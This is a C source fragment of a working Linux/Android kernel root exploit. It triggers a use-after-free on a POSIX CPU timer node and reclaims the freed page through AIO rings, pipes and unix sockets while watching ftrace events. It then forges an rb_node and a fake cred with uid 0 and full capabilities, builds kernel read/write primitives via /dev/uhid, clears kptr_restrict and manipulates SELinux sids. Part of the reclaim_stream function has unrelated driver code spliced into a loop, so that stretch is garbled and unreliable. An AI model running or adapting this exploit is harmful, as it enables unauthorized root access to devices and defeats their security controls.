	uint64_t victim_base;
	if (node_off + 24 > 4096) {
		dprintf(STDOUT_FILENO, "[plant] node crosses a page off=%#x\n", node_off);
		return -1;
	}
	build_watch();
	victim_base = node_pfn & ~UINT64_C(1);
	ncpu = cpu_count();
	dprintf(STDOUT_FILENO, "[aio] cpus=%d watch=%d node_pfn=%#" PRIx64 "\n",
		ncpu, g_nwatch, node_pfn);
	if (write_file(TRACE "/events/filemap/mm_filemap_add_to_page_cache/enable", "1\n"))
		return -1;
	trigger_cmd("enable_event:kmem:mm_page_free\n");
	trigger_cmd("enable_event:kmem:mm_page_alloc\n");
	if (trace_off_on() || kick_rss())
		return -1;
	atomic_store_explicit(&g_stop, 0, memory_order_relaxed);
	for (int cpu = 0; cpu < ncpu; cpu++) {
		if (pthread_create(&threads[cpu], NULL, spray_cpu, (void *)(intptr_t)cpu))
			ncpu = cpu;
	}
	for (int cpu = 0; cpu < ncpu; cpu++)
		pthread_join(threads[cpu], NULL);
	write_file(TRACE "/tracing_on", "0\n");
	for (int cpu = 0; cpu < ncpu; cpu++) {
		char path[128], line[768];
		FILE *file;
		int lines = 0;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace", cpu);
		file = fopen(path, "r");
		if (!file)
			continue;
		/* 只扫尾部 1 MiB:等待/扫描期间事件都在最新部分,避免反复读满缓冲。 */
		if (!fseek(file, 0, SEEK_END)) {
			long size = ftell(file);
			long start = size > (1L << 20) ? size - (1L << 20) : 0;
			fseek(file, start, SEEK_SET);
		}
		while (fgets(line, sizeof(line), file)) {
			uint64_t pfn = parse_pfn(line);
			int filemap = strstr(line, "mm_filemap_add_to_page_cache:") &&
				      strstr(line, "uaf_plant");
			if (strstr(line, "mm_page_free:") && pfn != UINT64_MAX && watch_has(pfn)) {
				free_hits++;
				if (pfn == victim_base || pfn == node_pfn)
					victim_frees++;
				if (shown < 4) {
					dprintf(STDOUT_FILENO, "[free] %s", line);
					shown++;
				}
			}
			if (strstr(line, "mm_page_alloc:") && pfn != UINT64_MAX && watch_has(pfn)) {
				alloc_hits++;
				if (shown < 10) {
					dprintf(STDOUT_FILENO, "[alloc] %s", line);
					shown++;
				}
			}
			if (!filemap)
				continue;
			if (g_hit_index < 0 && pfn == node_pfn) {
				g_hit_cpu = cpu;
				g_hit_index = lines;
			} else if (g_hit_index < 0 && pfn != UINT64_MAX && watch_has(pfn))
				other++;
			lines++;
		}
		fclose(file);
		g_cpu_lines[cpu] = lines;
		rings += g_cpu_n[cpu];
		dprintf(STDOUT_FILENO, "[aio] cpu%d rings=%d filemap=%d\n",
			cpu, g_cpu_n[cpu], lines);
	}
	g_nrings = rings;
	if (g_hit_index >= 0 && g_hit_cpu >= 0 &&
	    g_cpu_lines[g_hit_cpu] == g_cpu_n[g_hit_cpu] &&
	    g_hit_index < g_cpu_n[g_hit_cpu]) {
		uint32_t *ring = (uint32_t *)(uintptr_t)g_cpu_ctx[g_hit_cpu][g_hit_index];
		uint64_t *node;
		if (ring[4] != UINT32_C(0xa10a10a1)) {
			dprintf(STDOUT_FILENO, "[aio] bad magic %#x\n", ring[4]);
			return -1;
		}
		node = (uint64_t *)((char *)ring + node_off);
		g_fake_ring_user = (uint64_t)(uintptr_t)ring;
		g_fake_page_va = PAGE_OFFSET + (node_pfn << 12);
		if (ipc) { ipc->ring_user = g_fake_ring_user; ipc->fake_page_va = g_fake_page_va; }
		if (g_persist_ptr_ctl) {
			node[0] = g_persist_ptr_ctl;  /* parent: ctl_table entry */
			node[1] = g_fake_page_va;     /* child: fake page (direct map) */
			node[2] = 0;
			dprintf(STDOUT_FILENO, "[persist-ptr] ctl=%#" PRIx64 " fake_page=%#" PRIx64
				" ring_user=%#" PRIx64 "\n", g_persist_ptr_ctl, g_fake_page_va, g_fake_ring_user);
		} else if (g_persist_mode) {
			node[0] = g_persist_parent;  /* parent -> ctl_table entry */
			node[1] = g_persist_child;   /* child  -> value written to ctl+8 */
			node[2] = 0;
		} else {
			node[0] = g_write_value;
			node[1] = 0;
			node[2] = target;
		}
		__sync_synchronize();
		dprintf(STDOUT_FILENO,
			"[plant] cpu=%d ring=%d ctx=%p off=%#x target=%#" PRIx64 "\n",
			g_hit_cpu, g_hit_index, (void *)ring, node_off, target);
		quiet_reclaim_trace();
		return 0;
	}
	dprintf(STDOUT_FILENO,
		"[aio] victim page missed rings=%d other_timer_pages=%d page_frees=%d page_allocs=%d victim_frees=%d\n",
		rings, other, free_hits, alloc_hits, victim_frees);
	quiet_reclaim_trace();
	return -1;
}

static unsigned long *g_hold;
static int g_nhold;
static pid_t g_holders[4];

static int hold_aio_children(void)
{
	int ready[2];
	if (pipe(ready))
		return -1;
	for (int i = 0; i < 4; i++) {
		pid_t pid = fork();
		if (pid < 0)
			return -1;
		if (pid == 0) {
			int n = 0;
			close(ready[0]);
			while (n < 20000) {
				unsigned long ctx = 0;
				if (syscall(SYS_io_setup, 1, &ctx))
					break;
				n++;
			}
			dprintf(STDOUT_FILENO, "[hold] child=%d rings=%d errno=%d\n",
				i, n, errno);
			if (write(ready[1], "x", 1) != 1)
				_exit(1);
			for (;;)
				pause();
		}
		g_holders[i] = pid;
	}
	close(ready[1]);
	for (int i = 0; i < 4; i++) {
		char bit;
		if (read(ready[0], &bit, 1) != 1)
			return -1;
	}
	close(ready[0]);
	return 0;
}
static int g_nhold;

static int drain_aio(void)
{
	g_hold = calloc(70000, sizeof(*g_hold));
	g_nhold = 0;
	if (!g_hold)
		return -1;
	while (g_nhold < 70000) {
		unsigned long ctx = 0;
		if (syscall(SYS_io_setup, 1, &ctx))
			break;
		g_hold[g_nhold++] = ctx;
	}
	dprintf(STDOUT_FILENO, "[aio-hold] rings=%d errno=%d\n", g_nhold, errno);
	return g_nhold > 1000 ? 0 : -1;
}

static void free_aio_hold(void)
{
	for (int i = 0; i < g_nhold; i++)
		syscall(SYS_io_destroy, g_hold[i]);
	g_nhold = 0;
	free(g_hold);
	g_hold = NULL;
}
static int g_catch[1024][2];
static int g_ncatch;

static int prepare_catch(void)
{
	g_ncatch = 0;
	for (int i = 0; i < 1024; i++) {
		if (pipe(g_catch[i]))
			break;
		if (fcntl(g_catch[i][1], F_SETFL, O_NONBLOCK)) {
			close(g_catch[i][0]);
			close(g_catch[i][1]);
			break;
		}
		g_ncatch++;
	}
	dprintf(STDOUT_FILENO, "[pipe] empty=%d\n", g_ncatch);
	return g_ncatch >= 128 ? 0 : -1;
}

static int reclaim_pipe(uint64_t victim, uint64_t target)
{
	uint64_t node_addr = victim + KITIMER_NODE;
	uint64_t node_pfn = object_pfn(node_addr);
	uint64_t victim_base = node_pfn & ~UINT64_C(1);
	unsigned node_off = (unsigned)(node_addr & 0xfff);
	unsigned char *page;
	int ncpu, wrote_pages = 0, free_hits = 0, order0 = 0, order1 = 0;
	if (node_off + 24 > 4096)
		return -1;
	page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
		return -1;
	memset(page, 0, 4096);
	{
		uint64_t *node = (uint64_t *)(page + node_off);
		if (g_persist_mode) {
			node[0] = g_persist_parent;  /* parent -> ctl_table entry */
			node[1] = g_persist_child;   /* child  -> value written to ctl+8 */
			node[2] = 0;
		} else {
			node[0] = g_write_value;
			node[1] = 0;
			node[2] = target;
		}
	}
	build_watch();
	ncpu = cpu_count();
	dprintf(STDOUT_FILENO, "[pipe] cpus=%d node_pfn=%#" PRIx64 " off=%#x\n",
		ncpu, node_pfn, node_off);
	trigger_cmd("enable_event:kmem:mm_page_free\n");
	trigger_cmd("enable_event:kmem:mm_page_alloc\n");
	if (trace_off_on() || kick_rss())
		return -1;
	for (int i = 0; i < g_ncatch; i++) {
		int done = 0;
		if ((i % 32) == 0) {
			struct timespec pause = { .tv_nsec = 100000000 };
			pin_cpu((i / 32) % ncpu);
			if (i)
				nanosleep(&pause, NULL);
		}
		while (done < 4096) {
			ssize_t n = write(g_catch[i][1], page + done, (size_t)(4096 - done));
			if (n < 0)
				break;
			done += (int)n;
		}
		if (done == 4096)
			wrote_pages++;
	}
	write_file(TRACE "/tracing_on", "0\n");
	for (int cpu = 0; cpu < ncpu; cpu++) {
		char path[128], line[768];
		FILE *file;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace", cpu);
		file = fopen(path, "r");
		if (!file)
			continue;
		/* 只扫尾部 1 MiB:等待/扫描期间事件都在最新部分,避免反复读满缓冲。 */
		if (!fseek(file, 0, SEEK_END)) {
			long size = ftell(file);
			long start = size > (1L << 20) ? size - (1L << 20) : 0;
			fseek(file, start, SEEK_SET);
		}
		while (fgets(line, sizeof(line), file)) {
			uint64_t pfn = parse_pfn(line);
			if (pfn == UINT64_MAX || !watch_has(pfn))
				continue;
			if (strstr(line, "mm_page_free:"))
				free_hits++;
			if (!strstr(line, "mm_page_alloc:"))
				continue;
			if (pfn != node_pfn && pfn != victim_base)
				continue;
			if (strstr(line, "order=0"))
				order0++;
			if (strstr(line, "order=1"))
				order1++;
			dprintf(STDOUT_FILENO, "[pipe-alloc] %s", line);
		}
		fclose(file);
	}
	dprintf(STDOUT_FILENO,
		"[pipe] wrote=%d frees=%d victim_order0=%d victim_order1=%d\n",
		wrote_pages, free_hits, order0, order1);
	quiet_reclaim_trace();
	munmap(page, 4096);
	return order0 > 0 ? 0 : -1;
}

static int g_stream[4][2];
static int g_nstream;
static unsigned g_shift;
static uint64_t g_task;
static uint64_t g_cred_kva;
static int g_plant_cred;
static int g_wake[2] = { -1, -1 };
static int g_report[2] = { -1, -1 };
static pid_t g_cred_child_pid = -1;
/* one_uaf 内确认 holder 已把真 cred 交给 rootd 并自行退出。
 * 只有它为 1 时主进程才能直接判定成功并退出,不能再走 ask_child。 */
static int g_holder_exited;

static void close_stream(void)
{
	for (int i = 0; i < g_nstream; i++) {
		if (g_stream[i][0] >= 0)
			close(g_stream[i][0]);
		if (g_stream[i][1] >= 0)
			close(g_stream[i][1]);
		g_stream[i][0] = g_stream[i][1] = -1;
	}
	g_nstream = 0;
}

int pc98260_run_rootd(void);

__attribute__((used)) static void s1_fill_payload(unsigned char *pat, uint64_t base, unsigned node_off)
{
	uint64_t block_va = PAGE_OFFSET + (base << 12);
	unsigned victim_page = node_off >> 12;
	unsigned node_block = node_off;
	unsigned rec_off = ((victim_page ? 0u : 0x1000u) + 0x100u);
	uint64_t rec_va = block_va + rec_off;
	uint64_t engine_va = rec_va;
	uint64_t config_va = rec_va + (uint64_t)S1_CONFIG_RECORD * S1_REC_STRIDE;
	uint64_t fops_va = rec_va + S1_FOPS_OFF;
	uint64_t child = engine_va + 0x18;
	unsigned off;

	/* 只把含 UAF node 的那一页按 24 字节铺满伪造 node;记录放在另一页 */
	for (off = 0; off + 24 <= 0x1000; off += 24) {
		unsigned o = (victim_page << 12) + off;
		*(uint64_t *)(pat + o + 0) = g_s1_misc_list_va - 8;
		*(uint64_t *)(pat + o + 8) = child;
		*(uint64_t *)(pat + o + 16) = 0;
	}
	*(uint64_t *)(pat + node_block + 0) = g_s1_misc_list_va - 8;
	*(uint64_t *)(pat + node_block + 8) = child;
	/* rb_left 指向 fake 页内一个全零地址:rb_first 走到它,
	 * 第二轮 rb_erase 时 parent=NULL 清空 timerqueue root,循环安全终止 */
	{
		unsigned zero_off = (node_off & 0xfff) >= 0x800 ? 0x100u : 0x800u;
		zero_off += (victim_page << 12);
		memset(pat + zero_off, 0, 24);
		*(uint64_t *)(pat + node_block + 16) = block_va + zero_off;
	}
	/* 记录页:引擎记录 */
	{
		size_t roff = rec_off;
		uint32_t minor = S1_MINOR;
		memcpy(pat + roff, &minor, sizeof(minor));
		*(uint64_t *)(pat + roff + 0x10) = fops_va;
		*(uint64_t *)(pat + roff + 0x28) = 0;   /* mutex.wait_lock 必须为 0 */
		*(uint64_t *)(pat + roff + S1_CFG_BIN_BUFFER) = engine_va;
		*(uint64_t *)(pat + roff + S1_CFG_BIN_BUFFER_SIZE) = 0x1000;
	}
	/* 配置记录 */
	{
		size_t coff = rec_off + (size_t)S1_CONFIG_RECORD * S1_REC_STRIDE;
		uint32_t minor = S1_MINOR;
		memcpy(pat + coff, &minor, sizeof(minor));
		*(uint64_t *)(pat + coff + 0x10) = fops_va;
		*(uint64_t *)(pat + coff + 0x28) = 0;   /* mutex.wait_lock 必须为 0 */
		*(uint64_t *)(pat + coff + S1_CFG_OPS) = g_s1_misc_list_va;   /* 回到链表头 */
		*(uint64_t *)(pat + coff + S1_CFG_BIN_BUFFER) = engine_va;
		*(uint64_t *)(pat + coff + S1_CFG_BIN_BUFFER_SIZE) = 0x68;
	}
	/* fops 表 */
	{
		size_t foff = rec_off + S1_FOPS_OFF;
		*(uint64_t *)(pat + foff + S1_FOPS_READ_ITER) = slide_addr(LINK_CONFIGFS_READ_ITER);
		*(uint64_t *)(pat + foff + S1_FOPS_WRITE_ITER) = slide_addr(LINK_CONFIGFS_BIN_WRITE_ITER);
	}
	g_s1_engine_va = engine_va;
	g_s1_config_va = config_va;
	g_s1_fops_va = fops_va;
	dprintf(STDOUT_FILENO, "[s1] base=%#" PRIx64 " engine=%#" PRIx64 " config=%#" PRIx64
		" fops=%#" PRIx64 " child=%#" PRIx64 " node_block=%#x\n",
		block_va, engine_va, config_va, fops_va, child, node_block);
}

__attribute__((used)) static int s1_bridge_read64(int fd, uint64_t target, uint64_t *out)
{
	unsigned char cfg[0x68];
	ssize_t n;
	memset(cfg, 0, sizeof(cfg));
	*(uint64_t *)(cfg + S1_CFG_COUNT) = 8;
	*(uint64_t *)(cfg + S1_CFG_PAGE) = target;
	if (pwrite(g_s1_config_fd, cfg, 0x18, 0) != 0x18) {
		dprintf(STDOUT_FILENO, "[s1] cfg write (read setup) failed errno=%d\n", errno);
		return -1;
	}
	n = pread(fd, out, 8, 0);
	if (n != 8) {
		dprintf(STDOUT_FILENO, "[s1] pread failed n=%zd errno=%d\n", n, errno);
		return -1;
	}
	return 0;
}

__attribute__((used)) static int s1_bridge_write64(int fd, uint64_t target, uint64_t value)
{
	unsigned char cfg[0x68];
	ssize_t n;
	memset(cfg, 0, sizeof(cfg));
	*(uint64_t *)(cfg + S1_CFG_BIN_BUFFER) = target;
	*(uint64_t *)(cfg + S1_CFG_BIN_BUFFER_SIZE) = 8;
	if (pwrite(g_s1_config_fd, cfg + S1_CFG_BIN_BUFFER,
		   0x18, S1_CFG_BIN_BUFFER) != 0x18) {
		dprintf(STDOUT_FILENO, "[s1] cfg write (write setup) failed errno=%d\n", errno);
		return -1;
	}
	n = pwrite(fd, &value, 8, 0);
	if (n != 8) {
		dprintf(STDOUT_FILENO, "[s1] pwrite failed n=%zd errno=%d\n", n, errno);
		return -1;
	}
	return 0;
}

__attribute__((used)) static void s1_early(void)
{
	unsigned char cfg[0x68];

	g_s1_engine_fd = open("/dev/uhid", O_RDWR | O_CLOEXEC);
	if (g_s1_engine_fd < 0) {
		dprintf(STDOUT_FILENO, "[s1] early open failed errno=%d\n", errno);
		return;
	}
	memset(cfg, 0, sizeof(cfg));
	*(uint64_t *)(cfg + S1_CFG_PAGE) = g_s1_engine_va + 0x10;
	*(uint64_t *)(cfg + S1_CFG_OPS) = g_s1_config_va + 0x18;
	if (pwrite(g_s1_engine_fd, cfg, 0x20, 0) != 0x20)
		dprintf(STDOUT_FILENO, "[s1] early reset write failed errno=%d\n", errno);
	else
		dprintf(STDOUT_FILENO, "[s1] early engine reset ok fd=%d\n", g_s1_engine_fd);
	g_s1_config_fd = open("/dev/uhid", O_RDWR | O_CLOEXEC);
	dprintf(STDOUT_FILENO, "[s1] early config open fd=%d errno=%d\n", g_s1_config_fd, errno);
}

__attribute__((used)) static int s1_run(void)
{
	int fd_probe, fd_config;
	uint64_t observed = 0, sel = 0;

	fd_probe = g_s1_engine_fd;
	fd_config = g_s1_config_fd;
	if (fd_probe < 0 || fd_config < 0) {
		dprintf(STDOUT_FILENO, "[s1] bridge fds not ready engine=%d config=%d\n",
			fd_probe, fd_config);
		return -1;
	}
	dprintf(STDOUT_FILENO, "[s1] bridge fds engine=%d config=%d\n", fd_probe, fd_config);
	if (s1_bridge_read64(fd_probe, g_s1_misc_list_va, &observed)) {
		dprintf(STDOUT_FILENO, "[s1] bridge read misc_list failed\n");
		goto out;
	}
	dprintf(STDOUT_FILENO, "[s1] misc_list.next=%#" PRIx64 " (expect engine list=%#" PRIx64 ")\n",
		observed, g_s1_engine_va + 0x18);
	if (!s1_bridge_read64(fd_probe, slide_addr(LINK_SELINUX_STATE), &sel))
		dprintf(STDOUT_FILENO, "[s1] selinux_state qword0=%#" PRIx64 "\n", sel);
	if (!s1_bridge_read64(fd_probe, slide_addr(LINK_KPTR_RESTRICT), &sel))
		dprintf(STDOUT_FILENO, "[s1] kptr_restrict before=%#" PRIx64 "\n", sel);
	if (!s1_bridge_write64(fd_probe, slide_addr(LINK_KPTR_RESTRICT), 0)) {
		if (!s1_bridge_read64(fd_probe, slide_addr(LINK_KPTR_RESTRICT), &sel))
			dprintf(STDOUT_FILENO, "[s1] kptr_restrict after=%#" PRIx64 " (write 0)\n", sel);
	}
	if (!s1_bridge_write64(fd_probe, g_s1_misc_list_va, g_s1_uhid_misc_va + 0x18))
		dprintf(STDOUT_FILENO, "[s1] misc_list restored -> %#" PRIx64 "\n",
			g_s1_uhid_misc_va + 0x18);
	dprintf(STDOUT_FILENO, "[s1] RESULT_OK\n");
out:
	g_s1_config_fd = -1;
	close(fd_config);
	close(fd_probe);
	return 0;
}

static int reclaim_stream(uint64_t victim, uint64_t target)
{
	uint64_t base = object_pfn(victim + KITIMER_NODE) & ~UINT64_C(1);
	unsigned node_off = (unsigned)((victim + KITIMER_NODE) & 0x1fff);
	unsigned char *pat;
	int big = 16 << 20, hit = 0, writes = 0, ncpu;
	struct timespec start, now;
	if (node_off + 24 > 8192)
		return -1;
	pat = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (pat == MAP_FAILED)
		return -1;
	memset(pat, 0, 8192);
	if (g_s1_mode && g_s1_probe) {
		unsigned off;
		uint64_t block_va = PAGE_OFFSET + (base << 12);
		unsigned zero_off = ((node_off & 0xfff) >= 0x800 ? 0x100u : 0x800u)
				    + ((node_off >> 12) << 12);
		memset(pat + zero_off, 0, 24);
		for (off = 0; off + 24 <= 8192; off += 24) {
			*(uint64_t *)(pat + off + 0) = g_s1_misc_list_va - 8;
			*(uint64_t *)(pat + off + 8) = INIT_TASK_SIGMASK + g_slide;
			*(uint64_t *)(pat + off + 16) = block_va + zero_off;
		}
		memset(pat + zero_off, 0, 24);
	} else if (g_s1_mode) {
		s1_fill_payload(pat, base, node_off);
	} else if (g_plant_cred) {
		uint64_t page = PAGE_OFFSET + (base << 12);
		uint64_t node_kva = victim + KITIMER_NODE;
		unsigned cred_off = node_off + 24;
		unsigned blob = node_off >= 0x40 ? 0 : 0x1f00;
		xr_fake_page = (unsigned char *)pat;
		xr_fake_blob_off = blob;
		if (ipc) {
			ipc->fake_page = (uint64_t)(uintptr_t)pat;
			ipc->fake_blob_off = blob;
		}
		uint64_t *node, *cred;
		if (cred_off + (unsigned)xr_profile()->cred_bytes > 8192 || blob + 32 > 8192 ||
		    page + node_off != node_kva) {
			dprintf(STDOUT_FILENO, "[cred] plant does not fit off=%#x\n",
				node_off);
			munmap(pat, 8192);
			return -1;
		}
		if (!(cred_off >= blob + 32 || blob >= cred_off + (unsigned)xr_profile()->cred_bytes)) {
			dprintf(STDOUT_FILENO, "[cred] blob overlaps cred\n");
			munmap(pat, 8192);
			return -1;
		}
		node = (uint64_t *)(pat + node_off);
		cred = (uint64_t *)(pat + cred_off);
		node[0] = node_kva + 24;	/* parent_color; rb_erase copies it */
		node[1] = 0;			/* rb_right */
		node[2] = g_task + TASK_CRED;	/* rb_left = write destination */
		/*
		 * The fake cred starts at node+24, past the rb_node, so
		 * cred[0] (usage) no longer overlaps rb_left.
		 *
		 * rb_next() runs before rb_erase() when this node is the
		 * queue head.  With rb_right == 0 it returns the parent
		 * (node+24) unless the parent's rb_right points back at
		 * the node, in which case it climbs to rb_parent(node+24).
		 * cred[0] 的低两位作为合法的红色 rb color,清位后 parent
		 * 为 NULL,因此 rb_next() 返回 NULL。A
		 * non-NULL result would leave head->next pointing into the
		 * fake cred and posix_cpu_timers_exit would call
		 * timerqueue_del() a second time on it.
		 *
		 * rb_erase() then stores node[0] (node+24) into task->cred
		 * and writes task+0x908 to node+32 (uid/gid); the trailing
		 * str xzr,[node,#0x20] in posix_cpu_timers_exit clears
		 * node+32 again, so uid/gid end up as 0.
		 */
		cred[0] = 2;			/* usage=2:红色 rb color,parent 为 NULL,put_cred 后仍为 1 */
		cred[1] = node_kva;		/* uid/gid: makes rb_next NULL */
		cred[2] = 0;			/* suid/sgid */
		cred[3] = 0;			/* euid/egid */
		cred[4] = 0;			/* fsuid/fsgid */
		cred[5] = 0;			/* securebits + pad */
		cred[6] = FULLCAP;		/* cap_inheritable */
		cred[7] = FULLCAP;		/* cap_permitted */
		cred[8] = FULLCAP;		/* cap_effective */
		cred[9] = FULLCAP;		/* cap_bset */
		cred[10] = FULLCAP;		/* cap_ambient */
		cred[16] = page + blob;		/* security */
		/* SELinux cred blob 布局(本内核 BPF 差分实测):
		 *   cred->security 指向 LSM 复合 blob,SELinux 在偏移 16
		 *   (selinux_blob_sizes.lbs_cred=16);blob+16+0 = osid,
		 *   blob+16+4 = sid(SELinux 判定进程 context 用的字段)。
		 *
		 * 但 sid 是运行时分配的:KSU late-load 会注入 sepolicy,前后同一
		 * 数值对应的域不同(实测 plant 阶段 0x646 是 connsyslogger,而不是
		 * 预期的 shell)。在 fake blob 里写死 sid 会让 plant 运行在错误域,
		 * 显著增加 UAF 链的崩溃/重启概率。
		 *
		 * 因此这里保持 sid=0(unlabeled):plant 阶段稳定(与 v0.2.1 一致),
		 * 真 cred 的 context 读数仍为 (null),permissive 下完全可用。
		 * Enforcing 下可用 /system/bin/su(ksu 域)作为 pc98260-su 客户端
		 * 连接 rootd —— 这条路径已实测可行。
		 * --selinux-sid 仅作为实验开关保留,非默认流程使用。 */
		((uint32_t *)(pat + blob + 16))[0] = g_selinux_sid;   /* osid */
		((uint32_t *)(pat + blob + 16))[1] = g_selinux_sid;   /* sid  */
		cred[17] = slide_addr(LINK_ROOT_USER);
		cred[18] = slide_addr(LINK_USER_NS);
		cred[19] = slide_addr(LINK_UCOUNTS);
		/* groups 必须指向真实的 init_groups:prepare_creds() 里的
		 * get_group_info(new->group_info) 不做 NULL 检查,NULL 会直接
		 * 空指针解引用(prepare_creds+0x60 page fault,已实测)。
		 * 引用计数在 get_group_info(+1) 与 setgroups 的
		 * put_group_info(-1) 之间自动平衡。 */
		cred[20] = slide_addr(LINK_GROUPS);
		dprintf(STDOUT_FILENO,
			"[cred] node=%#" PRIx64 " cred=%#" PRIx64
			" task+cred=%#" PRIx64 " off=%#x\n",
			node_kva, node_kva + 24, g_task + TASK_CRED, node_off);
	} else {
		unsigned align = node_off % 24u;
		uint64_t fake_va = PAGE_OFFSET + (base << 12);
		for (unsigned off = align; off + 24 <= 8192; off += 24) {
			uint64_t *node = (uint64_t *)(pat + off);
			if (g_s1_probe) {
		int rc;
		g_plant_cred = 0;
		g_s1_mode = 1;
		g_s1_misc_list_va = slide_addr(LINK_MISC_LIST);
		g_s1_uhid_misc_va = slide_addr(LINK_UHID_MISC);
		dprintf(STDOUT_FILENO, "[s1probe] misc_list-8=%#" PRIx64 " child(X)=%#" PRIx64 "\n",
			g_s1_misc_list_va - 8, INIT_TASK_SIGMASK + g_slide);
		rc = one_uaf(0);
		dprintf(STDOUT_FILENO, "[s1probe] one_uaf rc=%d (no open)\n", rc);
		disarm();
		return rc ? 1 : 0;
	}
	if (g_s1_mode) {
		int rc;
		g_plant_cred = 0;
		g_s1_misc_list_va = slide_addr(LINK_MISC_LIST);
		g_s1_uhid_misc_va = slide_addr(LINK_UHID_MISC);
		dprintf(STDOUT_FILENO, "[s1] misc_list=%#" PRIx64 " uhid_misc=%#" PRIx64 "\n",
			g_s1_misc_list_va, g_s1_uhid_misc_va);
		rc = one_uaf(0);
		dprintf(STDOUT_FILENO, "[s1] one_uaf rc=%d\n", rc);
		if (rc == 0)
			rc = s1_run();
		disarm();
		return rc ? 1 : 0;
	}
	if (g_stage0_ctl) {
				/* violin stage0:parent=ctl 表项, child=init_task+0x980(X,saved_sigmask),
				 * 让 rb_erase 写 ctl+8(data)并把树停在 init_task 的 R/X 空环,不崩 */
				node[0] = g_stage0_ctl;
				node[1] = INIT_TASK_SIGMASK + g_slide; /* X = init_task+0x980 */
				node[2] = 0;
			} else if (g_persist_ptr_ctl) {
				node[0] = g_persist_ptr_ctl;  /* parent: ctl_table entry */
				node[1] = fake_va;            /* child: fake page (direct map) */
				node[2] = 0;
			} else {
				node[0] = 0;
				node[1] = 0;
				node[2] = target;
			}
		}
		if (g_persist_ptr_ctl && ipc) {
			ipc->fake_page_va = fake_va;
			ipc->ring_user = 0;
		}
		dprintf(STDOUT_FILENO, "[stream] tile align=%u off=%#x fake_va=%#" PRIx64 "\n", align, node_off, fake_va);
	}
	g_nstream = 0;
	for (int i = 0; i < 4; i++) {
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, g_stream[i]))
			break;
		setsockopt(g_stream[i][0], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));
		setsockopt(g_stream[i][1], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
		fcntl(g_stream[i][0], F_SETFL, O_NONBLOCK);
		g_nstream++;
	}
	if (!g_nstream) {
		munmap(pat, 8192);
		return -1;
	}
	ncpu = cpu_count();
	dprintf(STDOUT_FILENO, "[stream] pairs=%d node_base=%#" PRIx64 " off=%#x\n",
		g_nstream, base, node_off);
	/* 页复用/等待阶段只需要短期事件,2 MiB 足够;16 MiB 会让 trace_seen
	 * 每轮读取 160 MiB 文本,把失败路径拖成分钟级。 */
	if (write_file(TRACE "/buffer_size_kb", "2048\n")) {
		close_stream();
		return -1;
	}
	trigger_cmd("enable_event:kmem:mm_page_alloc\n");
	trigger_cmd("enable_event:kmem:mm_page_free\n");
	if (trace_off_on() || kick_rss()) {
		close_stream();
		return -1;
	}
	{
		struct timespec pause = { .tv_nsec = 200000000 };
		int freed = 0;
		/* 目标页通常在 SIGKILL 后百毫秒内释放;40 轮只会放大失败代价,
		 * 12 轮未命中就让上层重试竞态。 */
		for (int i = 0; i < 12 && !freed; i++) {
			nanosleep(&pause, NULL);
			freed = trace_seen("mm_page_free:", base);
		}
		dprintf(STDOUT_FILENO, "[stream] page_freed=%d\n", freed);
	}
	clock_gettime(CLOCK_MONOTONIC, &start);
	for (int round = 0; round < 6 && !hit; round++) {
		for (int i = 0, sock = 0; i < 80 && !hit; i++) {
			ssize_t n;
			pin_cpu(i % ncpu);
			n = write(g_stream[sock][0], pat, 8192);
			if (n == 8192)
				writes++;
			else if (++sock >= g_nstream)
				break;
		}
		hit = trace_seen("mm_page_alloc:", base);
		clock_gettime(CLOCK_MONOTONIC, &now);
		if (now.tv_sec - start.tv_sec > 8)
			break;
	}
	write_file(TRACE "/tracing_on", "0\n");
	if (hit)
		dprintf(STDOUT_FILENO, "[stream] hit pfn=%#" PRIx64 "\n", base);
	dprintf(STDOUT_FILENO, "[stream] writes=%d hit=%d\n", writes, hit);
	quiet_reclaim_trace();
	munmap(pat, 8192);
	if (!hit)
		close_stream();
	return hit ? 0 : -1;
}

static int g_dgram[2] = { -1, -1 };

static int reclaim_dgram(uint64_t victim, uint64_t target)
{
	uint64_t node_pfn = object_pfn(victim + KITIMER_NODE);
	uint64_t base = node_pfn & ~UINT64_C(1);
	unsigned node_off = (unsigned)((victim + KITIMER_NODE) & 0xfff);
	unsigned char *buf;
	int ncpu, sent = 0, hit = 0, big = 8 << 20;
	int victim_frees = 0, buddy_frees = 0, order2 = 0;
	uint64_t buddy = base ^ UINT64_C(2);
	if (node_off + 24 > 4096)
		return -1;
	buf = mmap(NULL, 16384, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (buf == MAP_FAILED)
		return -1;
	memset(buf, 0, 16000);
	for (int page = 0; page < 4; page++) {
		unsigned off = (unsigned)page * 4096u + node_off;
		uint64_t *node;
		if (off + 24 > 16000)
			continue;
		node = (uint64_t *)(buf + off);
		if (g_persist_mode) {
			node[0] = g_persist_parent;  /* parent -> ctl_table entry */
			node[1] = g_persist_child;   /* child  -> value written to ctl+8 */
			node[2] = 0;
		} else {
			node[0] = g_write_value;
			node[1] = 0;
			node[2] = target;
		}
	}
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, g_dgram)) {
		munmap(buf, 16384);
		return -1;
	}
	setsockopt(g_dgram[0], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));
	setsockopt(g_dgram[1], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
	fcntl(g_dgram[0], F_SETFL, O_NONBLOCK);
	build_watch();
	ncpu = cpu_count();
	dprintf(STDOUT_FILENO, "[dgram] cpus=%d node_pfn=%#" PRIx64 " off=%#x\n",
		ncpu, node_pfn, node_off);
	trigger_cmd("enable_event:kmem:mm_page_alloc\n");
	trigger_cmd("enable_event:kmem:mm_page_free\n");
	if (trace_off_on() || kick_rss())
		return -1;
	for (int i = 0; i < 512; i++) {
		struct timespec pause = { .tv_nsec = 40000000 };
		ssize_t n;
		if ((i % 8) == 0)
			pin_cpu((i / 8) % ncpu);
		n = send(g_dgram[0], buf, 16000, MSG_DONTWAIT);
		if (n == 16000)
			sent++;
		else if (i > 16 && sent > 8)
			break;
		if ((i % 8) == 7)
			nanosleep(&pause, NULL);
	}
